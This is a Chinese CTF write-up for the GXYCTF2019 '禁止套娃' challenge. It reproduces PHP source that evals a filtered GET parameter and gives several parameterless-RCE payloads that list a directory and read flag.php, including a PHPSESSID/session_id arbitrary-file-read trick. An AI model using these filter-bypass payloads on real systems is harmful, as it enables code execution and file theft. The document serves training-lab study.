[GXYCTF2019]禁止套娃 无参数RCE
复现一下buuctf上的[GXYCTF2019]禁止套娃
BUUCTF增设了waf 所以fuzz都不能用了..
Git泄露,不知道为啥我的GitHack扫不到呢?(头大)
<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) { //禁用了伪协议 if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) { //递归匹配?R 详细讲解,但是没明白为啥可以检测括号里的内容 if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { //仅用了函数关键字 // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
先熟悉几个PHP函数:
scandir() 扫描目录 localeconv() 返回本地数字及货币信息数组 current() 返回数组中当前元素值 next() 指向下一个数组元素,并输出
payload:?exp=print_r(scandir(current(localeconv())));//遍历当前目录所有文件,得知flag.php在当前目录下
熟悉几个PHP数组函数
array_rand() 从数组中随机取出一个或多个单元 array_flip() 交换数组键和值 array_reverse() 相反顺序返回数组
payload1:
?exp=readfile(array_rand(array_flip(scandir(current(localeconv())))));
//没理解为啥要交换键值
ctf中常见的PHP输出函数
readfile() 读取一个文件写入输出缓冲 highlight_file() 高亮度打印文件 show_source() 对文件进行高亮显示,读文件内容 get_file_contents() 把文件读入一个字符串
//笔者思路多用两个next()就能指向flag了,可事实并非。后来在本地测试执行,下一个就会自动跳到下一个键值,可在题目中好像并不能实现
这个时候就需要用到上面所贴的array_reverse()了
故payload2:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
下面还学习了师傅的另外一个思路不得不说 tql
session_id可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,而flag.php符合条件.
因此我们在请求包中cookie:PHPSESSID=flag.php,使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
这样可以构造payload:?exp=readfile(session_id(session_start()));
达到任意文件读取的效果: